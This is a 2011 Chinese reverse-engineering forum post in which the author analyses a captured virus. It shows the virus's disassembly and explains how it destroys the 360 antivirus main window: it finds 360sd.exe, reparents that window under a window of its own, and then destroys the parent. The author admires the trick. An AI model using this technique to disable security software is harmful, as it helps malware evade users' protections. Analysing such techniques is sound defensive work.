-
-
[分享][分享]销毁360杀毒主窗口的一种方法(分析病毒有感)
-
发表于:
2011-3-13 15:37
6904
-
[分享][分享]销毁360杀毒主窗口的一种方法(分析病毒有感)
前几天弄到一个病毒,其中比较感兴趣的是对抗杀软部分,下面就是销毁360sd主窗口的方法的反汇编代码
004020FE 53 push ebx
004020FF 56 push esi
00402100 53 push ebx
00402101 50 push eax
00402102 68 E0010000 push 1E0
00402107 68 80020000 push 280
0040210C 6A 64 push 64
0040210E 6A 64 push 64
00402110 68 0000CF00 push 0CF0000
00402115 68 90134000 push 00401390 ; ASCII "WN321"
0040211A 68 90134000 push 00401390 ; ASCII "WN321"
0040211F 53 push ebx
00402120 FF15 C8104000 call dword ptr [<&USER32.CreateWindow>; CreateWindowExA
00402126 8BF0 mov esi, eax ; HANDLE
00402128 56 push esi
00402129 57 push edi
0040212A FF15 CC104000 call dword ptr [<&USER32.SetParent>] ; 病毒自己创建一个窗口,并设置为360sd.exe的父窗口
00402130 56 push esi
00402131 FF15 D0104000 call dword ptr [<&USER32.DestroyWindo>; DestroyWindow 销毁父窗口 所以子窗口也销毁
00402137 8B4C24 58 mov ecx, dword ptr [esp+58]
基本原理:父窗口销毁了,子窗口就销毁了。
EnumWindow→EnumWindowsProc→GetWindowThreadProcessID→CreatetoolHelp32SnapShot→得到进程名,如果进程名是360sd.exe的话,病毒自己创建一个窗口A,并把360sd.exe主窗口的父窗口设置为A, 然后病毒销毁窗口A,由于父窗口被销毁了,所以子窗口也被销毁了。
本人第一次分析病毒,感觉这个对抗杀软的思路很好,所以分享出来。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)